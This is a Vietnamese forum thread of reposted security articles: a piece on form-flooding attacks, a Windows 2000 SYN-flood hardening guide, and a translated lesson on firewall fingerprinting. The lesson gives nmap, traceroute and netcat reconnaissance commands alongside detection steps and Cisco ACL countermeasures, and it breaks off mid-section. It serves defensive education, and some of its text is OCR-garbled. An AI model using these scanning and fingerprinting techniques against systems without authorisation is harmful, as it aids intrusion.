    Với những phương thức tấn công như vậy ta cũng có thể thấy được tầm nguy hiểm của nó nếu như được đặt trên một server với số lượng người truy cập đông như Google hoặc 1 Website nổi tiếng nào đó thì sức phá hoại của nó là rất khủng khiếp.




    Flooding Data Attack ?

    • Với 1 client/1s có thể gửi từ 3 – 8 yêu cầu có thực đến máy chủ thực thi và xử lý thông qua đó nó có thể ảnh hưởng đến Php, Apache, Phpmail, MySQL, FTP …., Tùy theo những mã nguồn của ASP, PHP, JSP, CGI, PL hoặc chung quy là những mã nguồn có liên quan đến công việc xuất và nhập dữ liệu.

    Flooding Data Attack ?

    Nếu hacker huy động hoặc hack được những server hoặc Website nào đó có số lượng người Online khoảng 2000 thì trong 1 giây Server đó sẽ phải thực thi khoảng 6000 yêu cầu từ các client gửi đến Server đó.

    Flooding Data Attack ?

    Ví dụ : Có User nằm trên server X nào đó user đó có cài đặt mã nguồn mở như Forum IPB (Invision Power Boards) khi hacker sử dụng mục đăng ký làm nơi tấn công Flood data thì trong vòng một giây như phần trên đã nêu sẽ có khoãng 6000 nickname được khởi tạo đi kèm theo đó là 6000 yêu cầu đã được mã nguồn mử thiết lập khi đăng ký và sẽ kèm theo việc gửi email đến các địa chỉ đã đăng ký.

    Flooding Data Attack ?

    • Như vậy đi kèm với 6000 nickname trên, MailServer sẽ phải gửi đi 6000 yêu cầu trong vòng 1/s việc này nếu như bị kéo dài từ 5 – 10 phút thì Server đó hầu như sẽ không còn họat động được.

    Flooding Data Attack ?

    Bandwith lúc này có thể tăng 5 – 10 MB/s cộng thêm data khi được chuyển đến MySQL lúc này có thể đạt tới 5 -7 MB/s nữa khi đó toàn bộ các phần mềm như Apache, MailServer, PHP, MySQL, FTP đều bị ngưng họat động. Lúc đó server có thể sẽ bị reboot.

    Flooding Data Attack ?

    Vì Hacker sử dụng phương tiện tấn công Online trên Website và dựa vào lượng khách truy cập thông tin ở nhiều Website nên phương pháp này hầu như rất khó chống, mỗi ngày Hacker có thể dùng hàng ngàn địa chỉ IP trên khắp thế giới để thực hiện việc tấn công như thế ta có thể thấy nó đơn giản so với DDos rất nhiều nhưng sự nguy hiểm có lẽ hơn hẳn DDos.

    Anti Flooding Data Attack ?

    • Vì Flooding Data Attack tấn công theo dạng địa chỉ ‘http://victim.com/data.php&bien1&bien2&bien3’ theo cổng GET hoặc POST vì vậy, cho dù bất cứ lý do gì khi tấn công cũng phải đi qua hướng này.

    Anti Flooding Data Attack ?

    Do lỗi được xuất hiện ở các mã nguốn ASP hay PHP nên cách tốt nhất là sửa và xem lại những mã nguồn mà người sử dụng muốn đưa lên mạng.

    Anti Flooding Data Attack ?

    Để tránh bị Flood data Attack! Thì cách phòng chống tạm thời vẫn là thêm một chuỗi ngẫu nhiên trên mỗi Form có sự xuất và nhập dữ liệu tuy nhiên những cách trên chưa phải là những cách hòan thiện để chống lại nhửng cuộc tấn công tràn ngập dữ liệu (Flooding Data Attack).
    In bài này | Gửi bài viết
    Sưu tầm (Không rõ tên tác giả)

    Giảm nguy cơ bị tấn công DoS cho Windows 2000 Server

    Microsoft đưa ra một bài báo hướng dẫn 5 sửa đổi trong registry của Windows 2000 cho phép giảm khả năng bị tấn công từ chối dịch vụ (Denial of Service). Những chỉ dẫn này được áp dụng cho các hệ thống Win2k kết với mạng diện rộng (WAN) hoặc Internet hoặc những site yêu cầu an toàn thông tin đặc biệt.

    Khi thay đổi các tham số này nhà quản trị site nên thận trọng, nên thay đổi các tham số này trên các hệ thống thử nghiệm trước để chắc chắn chúng hoạt động bình thường trước khi thay đổi trên hệ thống thực. Các tham số sai sẽ gây ảnh hưởng đến tất các các dịch vụ và ứng dụng của Win2K. Các tham số này đều nằm trong khoá: HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services.

    Chống lại tấn công bằng cách làm lụt các gói SYN (SYN flooding actack)
    Để hiểu về cách tấn công này, bạn phải hiểu tiến trình tạo một kết nối TCP/IP giữa hai hệ thống và cách mà các tin tặc lợi dụng để tạo nên một cuộc tấn công SYN flooding. Khi một hệ thống - gọi là hệ thống A - muốn tạo một kết nối tới hệ thống thứ hai - gọi là hệ thống B, hệ thống A sẽ gửi một gói tin SYN (cờ SYN trong phần header của gói tin TCP được bật) tới hệ thống B, hệ thống B nếu chấp nhận kết nối này thì nó sẽ gửi trả một gói SYN-ACK báo cho hệ thống A là nó chấp nhận kết nối, đến lúc này quá trình bắt tay đã hoàn tất một nửa (half open). Hệ thống A sau khi nhận được SYN-ACK thì trả lời bằng một gói ACK và kết nối đã được thiết lập. Tin tặc tấn công hệ thống B bằng cách gửi rất nhiều các gói SYN từ một địa chỉ IP thật hoặc địa chỉ IP giả yêu cầu thiết lập kết nối với hệ thống B nhưng không gửi gói ACK để hoàn tất kết nối, hệ thống B nếu không nhận được ACK của gói SYN-ACK thì sau một khoảng thời gian nhất định nó sẽ gửi lại gói SYN-ACK, tổng cộng có 5 lần gửi, khoảng thời gian chờ gói ACK từ hệ thống A trước khi gửi lại SYN-ACK được hệ thống B tăng lên, hành động này giúp cho các hệ thống có thể truyền tin qua một mạng chậm. Sau 5 lần gửi SYN-ACK, hệ thống B sẽ huỷ bỏ kết nối dang dở đó. Khoảng thời gian cần thiết để huỷ bỏ một kết nối như thế mất khoảng 3-4 phút, sau khi kết nối được huỷ bỏ, TCP chờ giải phóng cổng sẵn sàng cho kết nối mới mất thêm 3-5 phút nữa, tổng cộng hệ thống B mất 8 hoặc 9 phút cho một kết nối dang dở như thế. Do vậy nếu tin tặc gửi hàng loạt gói tin SYN mà không có gói tin ACK để hoàn thành kết nối, hệ thống B sẽ dễ dàng bị quá tải và không thể tiếp nhận được các kết nối TCP khác.
    Windows 2000 kiểm soát nguy cơ bị tấn công SYN flooding bằng cách kiểm tra ba bộ đếm số cổng của TCP/IP, bao gồm số cổng đang kết nối dở dang (half open ports), số cổng đã hết thời gian chờ, số cổng đang thử gửi SYN-ACK. Khi ba giá trị này đến một ngưỡng nhất định, Win2k cho rằng nó bị tấn công DoS theo kiểu SYN flooding, và nó giảm thời gian chờ và số lần cố gắng gửi gói SYN-ACK nhằm mục đích giảm tải cho hệ thống. Cách xử sự của Win2k đối với tấn công SYN flooding tuỳ thuộc vào một giá trị có tên là SynAttackProtect:REG_DWORD, nằm trong khoá Tcpip\Parameters. Các giá trị mà SynAttackProtect nhận được là 0, 1, 2. Giá trị 0 (mặc định) chỉ định rằng TCP sẽ hoạt động bình thường. Giá trị 1 tăng mức độ bảo vệ cao hơn (giảm số lần cố gắng gửi lại gói SYN-ACK). Giá trị 2 là mức độ bảo vệ cao nhất, kết nối TCP sẽ kết thúc rất nhanh vì thời gian chờ cũng sẽ bị giảm đi. Lưu ý rằng với giá trị là 2 thì tuỳ chọn scalable windows và các tham số của TCP trên mỗi adapter (Initial RTT, window size) sẽ bị bỏ qua.
    Chống lại sự chuyển hướng tới các gateway chết (Dead Gateway Redirect)
    Khi thiết lập cấu hình cho card giao tiếp mạng (network adapter) bằng tay, bạn phải nhập địa chỉ TCP/IP, mặt nạ subnet, và gateway mặc định. TCP/IP sẽ gửi tất cả các gói có đích đến không cùng mạng con tới gateway này. Gateway có trách nhiệm dẫn đường các gói tin tới địa chỉ đích. Khi TCP/IP gửi gói tin đến gateway, gateway sẽ trả lời rằng nó đã tiếp nhận gói tin này. Nếu như gateway không hoạt động, nó sẽ không trả lời. Nếu TCP/IP không nhận được thông báo đã nhận từ 25% gói tin nó đã gửi, nó sẽ cho rằng gateway đã chết.
    Để tránh trường hợp này, thường người ta thiết lập nhiều gateway, khi TCP/IP xác định rằng một gateway đã chết, nó sẽ chuyển sang sử dụng gateway tiếp theo trong danh sách. Cách cư xử của Win2k với gateway chết được quy định bởi một tham số là EnableDeadGWDetect:REG_DWORD nằm trong khoá Tcpip\Parameters với các giá trị là 0 (cấm) và 1 (cho phép). Microsoft khuyến cáo nên cấm Win2k nhận biết gateway chết, vì nó sẽ ngăn không cho TCP/IP gửi một gói tin đến một gateway không mong muốn khác mà tin tặc có thể lợi dụng để chặn các gói tin gửi ra ngoài mạng từ máy của bạn.
    Để biết thêm chi tiết về các tham số khác, xin hãy tham khảo thêm tài liệu trên site của Microsoft: q315669
    Tác giả: (Someone)

  7. #7
    Thành viên K2-07 trungkieninfor's Avatar
    Join Date
    Dec 2007
    Location
    Bình Dương
    Posts
    628

    Default basic to hack

    bài 07 :
    FireWall – Attack and Defense





    Suốt từ khi Cheswick và Bellovin viết cuốn anh hùng ca về cách xây dựng các bức tường lửa và theo dõi một hacker quỷ quyệt tên Berferd, ý tưởng thiết đặt một serverweb trên Internet mà không triển khai một bức tường lửa đã được xem là tự sát. Cũng bằng như tự sát nếu quyết định phó mặc các nhiệm vụ về bức tường lửa vào tay các kỹ sư mạng. Tuy giới này có thể tìm hiểu các quan hệ mật thiết về kỹ thuật của một bức tường lửa, song lại không hòa chung nhịp thở với hệ bảo mật và tìm hiểu não trạng cũng như các kỹ thuật của các tay hacker quỷ quyệt. Kết quả là, các bức tường lửa có thể bị chọc thủng do cấu hình sai, cho phép attacker nhảy bổ vào mạng và gây ra đại họa.

    I. Tổng quan bức tường lửa

    Hai kiểu bức tường lửa đang thống lĩnh thị trường hỉện nay: hệ giám quản ứng dụng (application proxies) và cổng lọc gói tin (packet filtering gateway). Tuy các hệ giám quản ứng dụng được xem là an ninh hơn cổng lọc gói tin, song bản chất hạn hẹp và các hạn chế khả năng vận hành của chúng đã giới hạn chúng vào luồng lưu thông đi ra công ty thay vì luồng lưu thông đi vào serverweb của công ty . mặt khác, trong nhiều tổ chức lớn có các yêu cầu khả năng vận hành cao.
    Nhiều người tin rằng hiện chưa xuất hiện bức tường lửa hoàn hảo , nhưng tương lai đầy sán lạng. Một số hăng kinh doanh nh Network Associates Inc. (NAI), AXENT, Internet Dynamics, và Microsoft đã phát triển công nghệ cung cấp tính năng bảo mật ủy nhiệm với khả năng vận hành của công nghệ lọc gói tin (một dạng lai ghép giữa hai công nghệ),song vẫn chưa hoàn thiện .
    Suốt từ khi bức tường lửa đầu tiên được cài đặt, các bức tường lửa đã bảo vệ vô số mạng tránh được những cặp mắt tò mò và bọn phá hoại nhưng còn lâu chúng mới trở thành phương thuốc trị bách bệnh bảo mật. Các chỗ yếu bảo mật đều được phát hiện hàng năm với hầu như mọi kiểu bức tường lửa trên thị trường.Tệ hại hơn, hầu hết các bức tường lửa thường bị cấu hình sai, không bảo trì, và không giám sát, ngưỡng cửa mở toang.

    Nếu không phạm sai lầm, một bức tường lửa được thiết kế, cấu hình, và bảo trì kỹ lưỡng hầu như không thể đột nhập. Thực tế, hầu hết các kẻ tấn công có tay nghề cao đều biết điều này và sẽ đơn giản tránh vòng qua bức tường lửa bằng cách khai thác các mối quan hệ tin tưởng (trust relationships) và các chỗ yếu bảo mật nối kết lỏng lẻo nhất, hoặc tránh nó hoàn toàn bằng cách tấn công qua một tài khoản quay số.

    Ðiểm căn bản: hầu hết attacker dồn mọi nỗ lực để vòng qua một bức tường lửa mạnh - mục tiêu ở đây là tạo một bức tường lửa mạnh.
    Với tư cách là điều hành viên bức tường lửa, ta biết rõ tầm quan trọng của việc tìm hiểu kẻ địch. Nắm được các bước đầu tiên mà một attacker thực hiện để bỏ qua các bức tường lửa sẽ giúp bạn rất nhiều trong việc phát hiện và phản ứng lại một cuộc tấn công. Chương này sẽ hướng dẫn bạn qua các kỹ thuật thường dùng hiện nay để phát hiện và điểm danh các bức tường lửa, đồng thời mô tả vài cách mà attacker gắng bỏ qua chúng. Với từng kỹ thuật, ta sẽ tìm hiểu cách phát hiện và ngăn chặn các cuộc tấn công.

    II. Ðịnh danh các bức tường lửa

    Hầu hết mọi bức tường lửa đều mang một "mùi hơng" điện tử duy nhất. Nghĩa là, với một tiến trình quét cổng, lập cầu lửa, và nắm giữ biểu ngữ đơn giản, bọn tấn cô ng có thể hiệu quả xác định kiểu, phiên bản, và các quy tắc của hầu hết mọi bức tường lửa trên mạng. Tại sao việc định danh này lại quan trọng? Bởi vì một khi đã ánh xạ được các bức tường lửa, chúng có thể bắt đầu tìm hìểu các điểm yếu và gắng khai thác chúng.

    1. Quét trực tiếp : Kỹ thuật Noisy

    Cách dễ nhất để tìm kiếm các bức tường lửa đó là quét các cổng ngầm định cụ thể. Một số bức tường lửa trên thị trường sẽ tự định danh duy nhất bằng các đợt quét cổng đơn giản bạn chỉ cần biết nội dung tìm kiếm.
    Ví dụ, Firewall-1 của Check point lắng chờ trên các cổng TCP 256, 257, 258, và Proxy Server của Microsoft thường lắng chờ trên các cổng TCP 1080 và 1745. Với sự hiểu biết này, quá trình tìm kiếm các kiểu bức tường lửa này chẳng có gì khó với một bộ quét cổng như nmap:

    Code:

    Code:
    # nmap -n -vv -P0 -p256,1080,1745 192.168.50.1 - 60.254
    Dùng khóa chuyển -PO để vô hiệu hóa tính năng ping ICMP trước khi quét. Ðiều này quan trọng bởi hầu hết bức tường lửa không đáp ứng các yêu cầu dội ICMP.
    Cả attacker nhút nhát lẫn hung bạo đều tiến hành quét rộng rãi mạng của bạn theo cách này, tìm kiếm các bức tường lửa này và tìm kiếm mọi khe hở trong két sắt vành đai của bạn. Nhưng attacker nguy hiểm hơn sẽ lùng sục vành đai của bạn càng lén lút càng tốt. Có nhiều kỹ thuật mà attacker có thể sử dụng để hạ sập radar của bạn, bao gồm ngẫu nhiên hóa các ping, các cổng đích, các địa chỉ đích, và các cổng nguồn;dùng các server cò mồi; và thực hiện các đợt quét nguồn có phân phối.
    Nếu cho rằng hệ thống phát hiện xâm nhập (IDS) của bạn như RealSecure của Internet Security Systems hoặc SessionWall-3 của Abirnet sẽ phát hiện attacker nguy hiểm này, bạn nên suy nghĩ lại.
    Hầu hết các IDS đều ngầm định cấu hình để chỉ nghe các đợt quét cổng ngu đần và ồn ào nhất. Trừ phi bạn sử dụng IDS nhanh nhạy và tinh chỉnh các ký danh phát hiện, hầu hết các cuộc tấn công sẽ hoàn toàn làm ngơ. Bạn có thể tạo một đợt quét ngẫu nhiên hóa nh vậy bằng cách dùng các ký mã Perl cung cấp trên chuyên khu web www.osborne.com/hacking .

    Các biện pháp phòng chống

    Bạn cần phong tỏa các kiểu quét này tại các bộ định tuyến biên hoặc dùng một kiểu công cụ phát hiện đột nhập nào đó miễn phí hoặc thương mại. Mặc dù thế, các đợt quét cổng đơn lẻ sẽ không đợc thu nhặt theo ngầm định trong hầu hết các IDS do đó bạn phải tinh chỉnh độ nhạy cảm của nó trước khi có thể dựa vào tính năng phát hiện.

    Phát Hiện

    Ðể chính xác phát hiện các đợt quét cổng bằng tính năng ngẫu nhiên hóa và các server cò mồi, bạn cần tinh chỉnh từng lý danh phát hiện quét cổng. Tham khảo tài liệu hướng dẫn sử dụng của hãng kinh doanh IDS để biết thêm chi tiết.
    Nêu muốn dùng RealSecure 3.0 để phát hiện tiến trình quét trên đây, bạn ắt phải nâng cao độ nhạy cảm của nó theo các đợt quét cổng đơn lẻ bàng cách sửa đổi các tham số của ký danh quét cổng. Bạn nên thay đổi các nội dung dới đây để tạo độ nhạy cảm cho quét này:


    1. Lựa và tùy biến (Customize) Network Engine Policy.
    2. Tìm "Port Scan" và lựa tùy chọn Options.
    3. Thay đổi ports thành 5 cổng.
    4. Thay đổi Delta thành 60 giây.



    Nếu đang dùng Firewall-l với UNIX, bạn có thể dùng trình tiện ích của Lance Spitzner để phát hiện các đợt quét cổng Firewall-1 www.enteract.com/~lspitz/intrusion.html. Ký mã alert.sh của ng sẽ cấu hình Check point để phát hiện và giám sát các đợt quét cổng và chạy một User Defined Alert khi đợc ứng tác.

    Phòng Chống

    Ðể ngăn cản các đợt quét cổng bức tường lửa từ Internet, bạn cần phong tỏa các cổng này trên các bộ định tuyến đứng trước các bức tường lửa. Nếu các thiết bị này do ISP quản lý, bạn cần liên hệ với họ để tiến hành phong tỏa. Nếu tự bạn quản lý chúng, bạn có thể dùng các Cisco ACL dớí đây để phong tỏa rõ rệt các đợt quét đã nêu trên đây:
    Code:

    Code:
    access - list 101 deny tcp any any eq 256 log ! Block Firewall-l scans
     access - list 101 deny tcp any any eq 257 log ! Block Firewall-l scans
     access - list 101 deny tcp any any eq 258 log ! Block Firewall-l scans
     access - list 101 deny tcp any any eq 1080 log ! Block Socks scans
     access - list 101 deny tcp any any eq 1745 log ! Block Winsock scans
    Ghi chú : Nếu phong tỏa các cổng của Check Point (256-258) tại các bộ dịnh tuyến biên, bạn sẽ không thể quản lửa bừc từờng lửa từ lnternet. Ngoài ra, tất cả các bộ định tuyến phải có một quy tắc dọn dẹp (nếu không khước từ các gói tìn
    theo ngầm định), sẽ có cùng hiệu ứng nh khi chỉ định các tác vụ khước từ:

    access - list 101 deny ip any any log ! Deny and log any packet that got through our ACLs above

    2. Rà Tuyến Ðường

    Một cách thinh lặng và tinh tế hơn để tìm các bức tường lửa trên một mạng đó là dùng traceroute . Bạn có thể dùng traceroute của UNIX hoặc tracert.exe của NT để tìm từng chặng dọc trên trên đường truyền đến đích và tiến hành suy diễn. Traceroute của Linux có tùy chọn -I, thực hiện rà đường bằng cách gửi các gói tin ICMP, trái với kỹ thuật gói tin UDP ngầm định.

    Code:

    Code:
    $ traceroute - I www.yourcompany.com
     traceroute to www.yourcompany.com ( 172.17.100.2 ) , 30 hops max, 140 byte packets
     1 attack-gw ( 192.168.50.21) 5.801 ms 5.105 ms 5.445 ms
     2 gw1.smallisp.net ( 192.168.51.l)
     3 gw2.smallisp.net ( 192.168.52.2)
     .....
     13 hssi.bigisp.net ( 10.55.201.2 )
     14 seriall.bigisp.net ( 10.55.202.l)
     15 www.yourcompany.com ( 172.29.11.2)
    Có cơ may chặng đứng ngay trước đích ( 10.55.202.1) là bức tường lửa, nhưng ta cha biết chắc. Cần phải đào sâu thêm một chút.

    Ví dụ trên đây là tuyệt vời nếu các bộ định tuyến giữa bạn và các serverđích đáp ứng các gói tin có TTL hết hạn. Nhưng một số bộ định tuyến và bức tường lửa đợc xác lập để không trả về các gói tin ICMP có TTL hết hạn (từ các gói tin ICMP lẫn UDP). Trong trờng hợp này, sự suy diễn ít khoa học hơn. Tất cả những gì bạn có thể thực hiện đó là chạy traceroute và xem chặng nào đáp ứng cuối cùng, và suy ra đây là một bức tường lửa hoặc chí ít là bộ định tuyến đầu tiên trong đường truyền bắt đầu phong tỏa tính năng tracerouting. Ví dụ, ở đây ICMP đang bị phong tỏa đến đích của nó, và không có đáp ứng nào từ các bộ định tuyến vợt quá client - gw.smallisp.net :

    Code:

    Code:
    1 stoneface (192.168.10.33) 12.640 ms 8.367 ms
     2 gw1.localisp.net (172.31.10.1) 214.582 ms 197.992 ms
     3 gw2.localisp.net (172.31.10.2) 206.627 ms 38.931 ms
     4 dsl.localisp.net (172.31.12.254) 47.167 ms 52.640 ms
     ........
     14 ATM6.LAX2.BIGISP.NET (10.50.2.1) 250.030 ms 391.716 ms
     15 ATM7.SDG.BIGISP.NET (10.50.2.5) 234.668 ms 384.525 ms
     16 client-gw.smallisp.net (10.50.3.250) 244.065 ms ! X * *
     17 * * *
     18 * * *
    Các Biện Pháp Phòng Chống

    Việc chỉnh sửa sự rò rỉ thông tin traceroute đó là hạn chế tối đa các bức tường lửa và bộ định tuyến đáp ứng các gói tin có TTL hết hạn. Tuy nhiên, điều này không phải lúc nào cũng n m dới sự kiểm soát của bạn vì nhiều bộ định tuyến có thể n m dới s điều khiển cúa ISP.
    Phát Hiện
    Ðể phát hiện các traceroute chuẩn trên biên, bạn cần giám sát các gói tin UDP và ICMP có giá trị TTL là 1. Ðể thực hiện điều này với RealSecure 3.0, bạn bảo đảm đánh dấu TRACE_ROUTE decode name trong Security Events của Network Engine Policy.
    Phòng chống
    Ðể ngăn cản các traceroute chạy trên biên, bạn có thể cấu hình các bộ định tuyến không đáp ứng các thông điệp TTL EXPI#800000 khi nó nhận một gói tin có TTL là 0 hoặc 1. ACL dới đây sẽ làm việc với các bộ định tuyến Cisco:
    Code:

    Code:
    access - list 101 deny ip any any 11 0 ! ttl-exceeded
    Hoặc theo lý tởng, bạn nên phong tỏa toàn bộ luồng lu thông UDP không cần thiết tại các bộ định tuyến biên.

    3. Nắm Giữ Biểu Ngữ

    Kỹ thuật quét tìm các cổng bức tường lừa là hữu ích trong việc định vị các bức tường lửa, nhưng hầu hết các bức tường lửa không lắng chờ trên các cổng ngầm định như Check point và Microsoft, do đó việc phát hiện phải đợc suy diễn. Nhiều bức tường lứa phổ dụng sẽ công bố sự hiện diện của chúng bằng cách đơn giản nối với chúng. Ví dụ , nhiều bức tường lửa giám quản sẽ công bố chức năng cúa chúng với cách một bức tường lửa, và một số sẽ quảng cáo kiểu và phiên bản của chúng. Ví dụ, khi ta nối với một máy được tin là một bức tường lửa bằng netcat trên cổng 21 (FTP ), ta sẽ thấy một số thông tin thú vị :

    Code:

    Code:
    C:\TEMP>nc -v -n 192.168.51.129 2 l
     [UNKNOWN] [ 192.168.5l.129 ] 2 l ( ? ) open
     220 Secure Gateway FTP server ready .
    Biểu ngữ "Secure Gateway server FTP ready" là một dấu hiệu lộ tẩy của một hộp Eagle Raptor cũ. Việc nối thêm với cổng 23 (telnet) sẽ xác nhận tên bức tường lửa là "Eagle."

    Code:

    Code:
    C:\TEMP>nc -v -n 192.168.51.129 23
     [UNKNOWN] [ 192.168.5l.129 ] 23 ( ? ) open
     Eagle Secure Gateway . Hostname :
    Và cuối cùng. nếu vẫn chưa bị thuyết phục server của bạn là một bức tường lửa. bạn có thể netcat với cổng 25 ( SMTP ), và nó sê báo cho ban biết nó là gì:

    Code:

    Code:
    C:\TEMP>nc -v -n 192.168.51.129 25
     [UNKNOWN] [ 192.168.5l.129 ] 25 ( ? ) open
     421 fw3.acme.com Sorry, the firewall does not provide mail service to you.
    Như đã thấy trong các ví dụ trên đây, thông tin biều ngữ có thể cung cấp các thông tin quý giá cho attacker trong khi định danh các bức tường lửa. Dùng thông tin này, chúng có thể khai thác các chỗ yếu phổ biến hoặc các cấu hình sai chung.

    Biện Pháp Phòng Chống

    Ðể chỉnh sửa chỗ yếu rò rỉ thông tin này, bạn giới hạn thông tin biểu ngữ quảng cáo. Một biểuu ngữ tốt có thể kèm theo một mục cảnh giác mang tính pháp lý và tất cả mọi nỗ lực giao kết sẽ đợc ghi sổ. Các chi tiết thay đổi cụ thể của các biểu ngữ ngầm định sẽ tùy thuộc nhiều vào bức tường lửa cụ thể, do đó bạn cần liên hệ hãng kinh doanh bức tường lửa.

    Phòng Chống

    Ðể ngăn cản attacker giành được quá nhiều thông tin về các bức tường lửa từ các biểu ngữ quảng cáo, bạn có thể thay đổi các tập tin cấu hình biểu ngữ. Các khuyến nghị cụ thể thờng tùy thuộc vào hãng kinh doanh bức tường lửa. Trên các bức tường lửa Eagle Raptor, bạn có thể thay đổi các biểu ngữ ftp và telnet bằng cách sửa đổi các tập tin thông báo trong ngày: tập tin ftp.motd và telnet.motd.

    4. Kỹ Thuật Phát Hiện Bức tường Lửa Cao Cấp

    Nếu tiến trình quét cổng tìm các bức tường lửa trực tiếp, dò theo đường truyền, và nắm giữ biểu ngữ không mang lại hiệu quả, attacker sẽ áp dụng kỹ thuật điểm danh bức tường lửa theo cấp kế tiếp. Có thể suy diễn các bức tường lửa và các quy tắc ACL của chúng bằng cách dò tìm các đích và lu ý các lộ trình phải theo (hoặc không theo) để đến đó.

    Suy Diễn Ðơn Giản với nmap

    Nmap là một công cụ tuyệt vời để phát hiện thông tin bức tường lửa và chúng t i liên tục dùng nó. Khi nmap quét một hệ chủ, nó không chỉ báo cho bạn biết các cổng nào đang mở hoặc đóng, mà còn cho biết các cổng nào đang bị phong tỏa. Lợng (hoặc thiếu) thông tin nhận đợc từ một đợt quét cổng có thể cho biết khá nhiều về cấu hình của bức tường lửa. Một cổng đã lọc trong nmap biểu hiện cho một trong ba nội dung sau:


    • không nhận gói tin SYN/ACK nào.
    • không nhận gói tin RST/ACK nào.
    • Ðã nhận một thông báo ICMP type 3 (Destination Unreachable ) có một mã 13 (Communication Administratively Prohibited - [RFC1812])




    Nmap gom chung cả ba điều kiện này và báo cáo nó dới dạng một cổng "đã lọc." Ví dụ, khi quét www.mycompany.com ta nhận hai gói tin ICMP cho biết bức tường lửa đã phong tỏa các cổng 23 và 111 từ hệ thống cụ thể của chúng ta.
    Code:

    Code:
    # nmap -p20, 21, 23, 53, 80, 111 - P0 -vv
     www.mycompany.com
     Starting nmap V. 2.08 by Fyodor ( <a href="mailto:fyodor@dhp.com">fyodor@dhp.com</a> <mailto:fyodor@dhp.com>, www.insecure.org/nmap/ )
     Initiating TCP connect ( ) scan agains t ( 172.32.12.4 )
     Adding TCP port 53 (state Open)
     Adding TCP port 111 ( state Firewalled )
     Adding TCP port 80 ( state Open)
     Adding TCP port 23 ( state Firewalled) .
     Interesting ports on ( 172.17.12.4 ) :
     port State Protocol Service
     23 filtered tcp telnet
     53 open tcp domain
     80 open tcp http
     111 filtered tcp sunrpc
    Trạng thái "Firewalled", trong kết quả trên đây, là kết quả của việc nhận một ICMP type 3, mã 13 (Admin Prohibited Filter), như đã gặp trong kết xuất tcpdump:
    Code:

    Code:
    23 : 14 : 01.229743 10.55.2.1 > 172.29.11.207 : icmp : host 172.32.12.4
     nreachable - admin prohibited filter
     23 : 14 : 01.97 9743 10.55.2.l > 172.29.11.207 : icmp : host 172.32.12.4
     nreachable - admin prohibited filter
    Làm sao để nmap kết hợp các gói tin này với các gói tin ban đầu, nhất là khi chúng chỉ là một vài trong biển cả các gói tin đang ríu rít trên mạng? Vâng, gói tin ICMP đợc gửi trở lại cho máy quét sẽ chứa đựng tất cả các dữ liệu cần thiết để tìm hiều nội dung đang xảy ra. Cổng đang bị phong tỏa là phần một byte trong phần đầu ICMP tại byte 0x41 ( 1 byte), và bức tường lửa lọc gửi thông điệp sẽ n m trong phần IP của gói tin tại byte
    0x1b (4 byte).
    Cuối cùng, một cổng cha lọc nmap chỉ xuất hiện khi bạn quét một số cổng và nhận trở lại một gói tin RST/ACK. Trong trạng thái "unfiltered", đợt quét của chúng ta hoặc đang đi qua bức tường lửa và hệ đích của chúng ta đang báo cho biết nó không lắng chờ trên cổng đó, hoặc bức tường lửa đang đáp ứng đích và đánh lừa địa chỉ IP của nó với cờ RST/ACK đợc ấn định. Ví dụ, đợt quét một hệ thống cục bộ cho ta hai cổng cha lọc khi nó nhận hai gói tin RST/ACK từ cùng hệ chủ. Sự kiện này cũng có thể xảy ra với một số bức tường lửa nh Check point (với quy tắc REJECT) khi nó đáp ứng đích đang gửi trả một gói tin RST/ACK và đánh lừa địa chỉ IP nguồn của đích. .

    Code:

    Code:
    # nmap - sS -p1 -300 172.18.20.55
     Starting nmap V . 2.08 by Fyodor ( <a href="mailto:fyodor@dhp.com">fyodor@dhp.com</a> <mailto:fyodor@dhp.com>, www.insecure.org/nmap/ )
     Interesting ports on ( 172.18.20.55 ) :
     (Not showing ports in state : filtered)
     Port State Protocol Service
     7 unfiltered tcp echo
     53 unfilteres tcp domain
     256 open tcp rap
     257 open tcp set
     258 open tcp yak-chat
     Nmap run completed - 1 IP address ( 1 host up ) scanned in 15 seconds
     Ðợt rà gói tin tcpdump kết hợp nêu các gói tin RST/ACK đã nhận.
     21 :26 :22.742482 172.18.20.55.258 > 172.29.11.207.39667 : S
     415920470 : 1415920470 ( 0 ) ack 3963453111 win 9112 <mss 536> (DF )
     (ttl 254, id 50438 )
     21 :26 :23.282482 172.18.20.55.53 > 172.29.11.207.39667 :
     R 0 : 0 ( 0 ) ack 3963453111 win 0 (DF ) ( ttl 44, id 50439 )
     21 :2 6: 24.362482 172.18.20.55.257 > 172.29.111.207.39667 : S
     1416174328 : 1416174328 ( 0 ) ack 396345311 win X112
     <mss 5 3 6 >
     ( DF ) ( ttl 254, id 504 0 )
     21: 26: 26.282482 172.18.20.55.7 > 17.2.29.11.207.39667 :
     R 0 : 0 ( 0 ) ack 3963453111 win 0 ( DF ) ( ttl 44, id 50441)
    Các Biện Pháp Phòng Chống

    Ðể ngăn cản attacker điểm danh các ACL bộ định tuyến và bức tường lửa thông qua kỹ thuật admin prohibited filter", bạn có thể v hiệu hóa khả năng đáp ứng với gói tin ICMP type 13 của bộ định tuyến. Trên Cisco, bạn có thể thực hiện điều này bàng cách phong tỏa thiết bị đáp ứng các thông điệp IP không thể đụng đến no ip unreachables

    5. Ðịnh Danh Cổng

    Một số bức tường lửa có một dấu ấn duy nhất xuất híện dới dạng một sêri con số phân biệt với các bức tường lửa khác. Ví dụ, Check Point sẽ hiển thì một sêri các con số khi bạn nối với cổng quản lý SNMP của chúng, TCP 257. Tuy sự hiện diện đơn thuần của các cổng 256-259 trên một hệ thống thờng cũng đủ là một dấu chỉ báo về sự hiện diện của Firewall-1 của Check Point song trắcônghiệm sau đây sẽ xác nhận nó :
    Code:

    Code:
    [ root@bldg_043]# nc -v -n 192.168.51.1 257
     ( UNKNOWN) [ 192.168.51.1] 257 ( ? ) open
     30000003
     [ root@bldg_043 # nc -v -n 172.29.11.19l 257
     (UNKNOWN ) [ 172.29.11.191] 257 ( ? ) open
     31000000
    Các Biện Pháp Phòng Chống

    Phát Hiện
    Ðể phát hiện tuyến nối của một kẻ tấn công với các cổng của bạn. bạn bố sung một sự kiện tuyến nối trong RealSecure. Theo các bớc sau:
    1. Hiệu chỉnh nội quy
    2. Lựa tab Connection Events.
    3. Lựa nut Add Connection, và điền một mục cho Check Point.
    4. Lựa đích kéo xuống và lựa nút Add.
    5. Ðiền dịch vụ và cổng, nhắp OK.
    6. Lựa cổng mới, và nhắp lại OK.
    7. Giờ đây lựa OK và áp dụng lại nội quy cho động cơ.

    Phòng Chống

